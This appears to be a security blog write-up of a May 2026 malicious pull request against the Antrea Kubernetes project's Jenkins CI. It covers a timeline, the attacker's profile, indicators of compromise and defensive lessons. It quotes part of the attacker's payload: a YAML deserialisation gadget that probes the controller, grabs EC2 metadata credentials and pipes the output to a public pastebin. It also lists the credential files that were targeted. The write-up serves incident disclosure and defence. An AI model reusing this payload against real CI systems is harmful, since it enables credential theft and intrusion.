BLOG
CNCF Project Antrea Compromised in Daring GitHub Attack
The Antrea open-source Kubernetes project was attacked via its Jenkins integration on May 2 by an unknown threat actor who opened a malicious pull request,
By c0a15726-c5b1-4b0d-85e6-fe15553df9e2 ·
TL;DR. On May 2, a threat actor escalated against the popular open-source CNCF project Antrea by opening a malicious pull request designed to trick CI into running code and exfiltrating credentials, claimed root access to Antrea’s Jenkins infrastructure, and then taunted maintainers before the PR was shut down. Antrea was a user of aquasecurity/trivy-action during the March 2026 Trivy supply-chain compromise window, but the antrea team has stated that they were not affected by that incident and we have no evidence to contradict that. The Trivy timeline appears in this writeup as context only.
The March 2026 Trivy supply-chain compromise
In March 2026, the maintainers of Trivy’s GitHub Actions (aquasecurity/trivy-action and aquasecurity/setup-trivy) were hit by a supply-chain attack. Wiz attributed the campaign to a cluster they call TeamPCP.
For ~12 hours (2026-03-19 → 2026-03-20), malicious tags/releases were pushed so that workflows referencing Trivy Actions by mutable tags (like @v0.x) could silently pull attacker-controlled code.
That code scraped secrets from GitHub Actions runner memory (for example GITHUB_TOKEN and cloud credentials) and exfiltrated them off-host. In other words: if your CI ran the compromised Trivy Actions during that window, you should assume any secrets in scope may have been exposed unless proven otherwise.
What is Antrea?
Antrea is a popular open-source project that is part of the Cloud Native Computing Foundation (CNCF).

Antrea provides a simple framework to create overlay networks for Kubernetes. It has been around since 2021 and has a strong contributor base, with several core maintainers in China. The GitHub repo has 1783 stars and has been forked more than 460 times.
Antrea and the Trivy timeline
Antrea was a user of the affected Trivy GitHub Actions during the disclosure window. Before 2026-03-27 antrea referenced aquasecurity/trivy-action and aquasecurity/setup-trivy via mutable tag references in .github/workflows/trivy_scan.yml and .github/workflows/trivy_scan_before_release.yml.
Eight days after the Trivy attack window closed, an antrea maintainer at Broadcom merged PR #7905 ("security: Pins trivy actions to specific SHA") at 2026-03-27 05:17:46 UTC, pinning to a pre-attack-safe version of aquasecurity/trivy-action (57a97c7, v0.35.0) and aquasecurity/setup-trivy (3fb12ec, v0.2.6). On 2026-04-28 03:15:14 UTC, Renovate bot landed PR #8014 (commit 530b3716) that bumped trivy-action further to the post-incident ed142fd0 (v0.36.0).

The antrea team has stated that they were not affected by the Trivy supply-chain compromise. We have no public evidence to contradict that and accept the team's position. The Trivy timeline is documented here only as context: antrea ran the affected actions on mutable tags during the disclosure window, and pinned to safe SHAs eight days after the attack ended. Whether any credentials transited a runner during the 12-hour 2026-03-19/20 window is a question only the antrea team's internal forensics can answer, and they have indicated nothing was impacted. Nothing later in this writeup should be read as implying a Trivy-to-antrea credential bridge — when we describe the May 2 attack and the Jenkins compromise, we treat them as standalone events.
Antrea's CI architecture: Jenkins-based, slash-command driven
Antrea is a CNCF networking project, and like a lot of large Kubernetes-ecosystem projects (kubernetes itself, cilium, etcd) they don't run their full e2e test suite in GitHub Actions — they have a self-hosted Jenkins fleet sitting in their own AWS account. The pattern looks like this:
A Jenkins controller (the "master" — the box that holds the job definitions, the credential store, the web UI, and the scheduler) — there might be more than one of these, but at least one EC2 server at 35.164.122.165 was compromised in this attack.
A pool of Jenkins workers / agents that execute actual test jobs (/test-e2e, /test-conformance, /test-networkpolicy, /test-hw-offload, /test-all-features-conformance, /test-eks-conformance). Workers are typically spun up on demand as separate EC2 instances or on a Mellanox-hardware lab for the hardware-offload tests.
A slash-command trigger: maintainers (and, crucially in this case, PR authors in some configurations) post a comment like /test-conformance on a PR. A small bot or webhook receiver translates that into a Jenkins job invocation, Jenkins checks out the PR's head code into a worker, and the worker runs the test.
The Jenkins controller holds long-lived credentials in its credential store: AWS access keys for spinning up EKS clusters during conformance tests, Docker Hub/GHCR push creds, GitHub bot tokens for posting test results back, SSH keys for connecting to the Mellanox lab, etc. Workers receive whatever subset of those creds the job declares it needs — but in practice, most of the e2e jobs need broad AWS access, so a successful worker compromise means broad AWS access.
The May 2 pull request escalation
How did the operator know about the Jenkins controller IP 35.164.122.165 before opening the PR? They did not need any prior compromise to find it. Antrea's Jenkins server was publicly accessible at https://jenkins.antrea.io (covered in detail further down this post), which exposed the controller's identity and the running CI jobs without authentication. Public reconnaissance alone could surface the entire Jenkins fleet — no insider information required.
On 2026-04-30 09:29:23 UTC, two days before the antrea attack, the GitHub account 0xedgerunner was created. It had no profile, no followers, no linked socials, no Twitter, no GitLab, no bug-bounty profile — a textbook throwaway. Within 30 hours it forked antrea-io/antrea.
The full server-attested timeline of 0xedgerunner's activity on PR #8027 is highlighted here:
UTC time
Event
15:10:15
Fork antrea-io/antrea → 0xedgerunner/antrea
15:11:36
Create branch ci-eks-fix-1777734694 (Unix-epoch-suffix branch-naming pattern)
15:11:47
Open PR #8027, "ci: update EKS conformance test helper [webhook trigger]"
15:14:45–15:14:47
Five /test-* slash-command comments posted in 3 seconds: /test-e2e, /test-conformance, /test-networkpolicy, /test-all-features-conformance, /test-hw-offload
15:14:47 → 16:14:48
19 commits and 14 visible PushEvents iterating the payload over 1h3m
16:14:48
Final head 78b0dfe56d pushed
17:17:27
An antrea maintainer closes the PR: "A gross attempt at exfiltrating credentials. Closing the PR, blocking user and reporting to Github."
17:17:55
0xedgerunner brags: "already nuked ur worker HAHAHA"
17:18:29
0xedgerunner brags: "and ofc full root to ur controller ;D mayb do not alllow random jobs to be exec'd? LOL"
It’s unusual to see the threat actor taunting a victim like this!
The PR diff dropped four files into antrea's CI tree. The most surgical was ci/jenkins/jobs/000_payload.yaml, a Jenkins Job DSL definition using a Python-deserialisation gadget:
I’ll highlight the important part of that payload here as text:
- job:
name: !!python/object/apply:eval
- '__import__("os").system("(echo ===SSHD_OVERRIDES===; sudo find /etc/ssh ...
echo ===CAN_CONNECT_TO_CONTROLLER===;
nc -zw3 35.164.122.165 22 && echo PORT22_YES || echo PORT22_NO;
curl -sk --connect-timeout 5 <https://35.164.122.165/> 2>/dev/null|head -3;
echo ===ALL_AWS_IPS===;
TOKEN=$(curl -s -X PUT <http://169.254.169.254/latest/api/token> ...);
...) | base64 -w0 | curl -s --data-binary @- <https://paste.rs/>") or "ok"'The ===CAN_CONNECT_TO_CONTROLLER=== block is a worker→controller reachability probe targeting 35.164.122.165 — antrea's own Jenkins controller / EC2 instance. The IMDSv2 probe (http://169.254.169.254/latest/api/token) harvests the EC2 instance's role credentials. Two parallel exfil channels run via paste.rs (a public anonymous pastebin) for AWS metadata and SSHD config dumps, and via a webhook.site UUID for credential payloads.
The accompanying CI bash injections in ci/jenkins/mellanox/scripts/start_ci.sh and ci/test-conformance-eks.sh cast a much wider net: environment variable enumeration matching token|secret|key|pass|cred|auth, ~/.docker/config.json, ~/.kube/config, ~/.aws/credentials, ~/.config/gcloud/credentials.db, Jenkins credential store files, and any SSH private keys or .pem files under /jenkins.
The detonation method matters. Antrea's CI uses custom comment handlers in Jenkins that can be triggered by maintainer slash-commands on a PR. The operator did not need maintainer approval to detonate — they posted five /test-* commands in three seconds and the Jenkins jobs happily ran all of them.
The 19 commits on the malicious branch were authored by CI Bot <ci@antrea.io> — the operator deliberately spoofed antrea's own CI service identity to make git log look benign. None of the commits attribute back to the 0xedgerunner GitHub login: the gh_user field on every commit is null, because ci@antrea.io is not a verified email on the throwaway GitHub account. This pattern of using unverified committer emails to keep malicious commits off the GitHub contribution graph repeated across every other target the operator hit that week (see Operator profile below).
The brags in the PR conversation track exactly with the recon labels embedded in the payload: SSHD overrides, IMDSv2, controller reachability. They were not idle boasting.
Jenkins server
The IP address used in the payload yaml file was 35.164.122.165. That IP address maps to "jenkins.antrea.io". The Antrea Jenkins server was publicly available at https://jenkins.antrea.io which meant that anyone without authentication could see the status of CI jobs. So, if you could remotely trigger Jenkins jobs, via a GitHub pull request, well... you could simply read the output, and any exposed credentials would be exposed in clear text. No exfiltration necessary.
Operator profile (capsule)
0xedgerunner ran simultaneous pwn-request style campaigns against at least eight projects in the first week of May 2026 — antrea, magma, gocrane/crane, RSS-Bridge, ScalaIO, labring/sealos.io, plus staged forks of NixOS/nixos-homepage and deriv-com/SmartCharts. Every campaign followed the same template: fork → throwaway-named branch → chore-style PR title → quick payload iteration → detonate. Branch names included poc/pwn-request, poc/pwn-final, poc/pwn-req-1 — the operator was not subtle about what they were doing.
Three rotating committer identities — tzgate <tzgate@local.lan>, CI Bot <ci@antrea.io>, and 0xedgerunner <0xedgerunner@proton.me> — none verified on the GitHub account, deliberately keeping every malicious commit off the GitHub contribution graph.
Sloppy OPSEC at the commit-message level (the operator did not squash before pushing) leaks the playbook: commit messages on the antrea fork branch include "ci: root escalation pivot", "ci: exploit agent secret + http internal", "ci: extract ssl certs + smee config", "ci: add ssh key", and "ci: check sshd overrides + controller reachability". The magma branches use a wNNpNN iteration counter (fix: w19p2 … fix: w19p20) implying at least 18 prior workflow runs, possibly under different accounts.
The day before the antrea attack, the operator opened a feature request on AdnaneKhan/gato-x — a public GitHub Actions exploitation framework that enumerates pull_request_target workflows — asking for local-repo scanning support so they could feed it large pre-cloned repo sets without GitHub API rate limits. They were operating at scale.
IOCs
Network
Webhook collector C2 hxxps://webhook[.]site/1d98b695-72df-4e88-885c-5efeb3df75f7
Pastebin collector C2 hxxps://paste[.]rs/
Victim infra (NOT attacker) 35.164.122.165 (antrea Jenkins controller / EC2, AWS us-west-2)Git committer identities (none verified on the GitHub account)
tzgate <tzgate@local.lan> on poc/pwn-request* branches in 0xedgerunner/magma
CI Bot <ci@antrea.io> spoofed antrea CI identity on 0xedgerunner/antrea
0xedgerunner <0xedgerunner@proton.me> on crane, scala.io, rss-bridge, sealos.io forksci@antrea.io used as a committer email on commits outside the real antrea-io/* org should be treated as a high-confidence detection rule for this operator's antrea campaign or copy-cats.
GitHub-side patterns
Account 0xedgerunner (created 2026-04-30T09:29:23Z)
Branch name pattern poc/pwn-*
Branch name pattern feature/<word>-<10-digit-epoch> e.g. feature/optimize-build-1777905224
Branch name pattern ci-eks-fix-<10-digit-epoch> antrea variant
PR title patterns "build: add postinstall optimization for faster CI"
"build: improve install performance"
"optimize: improve build flags and add utility helper"
"ci: update EKS conformance test helper [webhook trigger]"
Commit-message tells wNNpNN (iteration counter)
"ci: root escalation pivot"
"ci: exploit agent secret + http internal"
"fix: use GITHUB_TOKEN"
Detonation pattern 5+ slash-command comments within seconds, immediately after PR openLessons
SHA-pin third-party Actions before disclosure forces it. SHA-pinning costs nothing at steady state and removes an entire category of supply-chain risk. Renovate / Dependabot can SHA-pin by default with a one-line config change.
`pull_request_target` workflows that detonate on slash-commands are a footgun. It took five seconds and zero maintainer involvement to fire antrea's Jenkins workflow against PR-fork code with elevated tokens in scope. The detonation pattern (multiple /test-* comments in <10 seconds, posted by the PR author themselves) is high-signal and cheap to alert on. At minimum, slash-command-triggered workflows on PRs from forks should require a maintainer-account LGTM and committer-identity validation against a known-good list.
If you were on a mutable `aquasecurity/trivy-action` reference during the 2026-03-19/20 window, treat secrets in scope of those workflows as potentially compromised pending forensic confirmation by your own team. If you maintain any of the eight projects targeted by `0xedgerunner`, rotate any secrets that were in scope of the affected CI workflows. The antrea team has stated they were not affected by the Trivy compromise.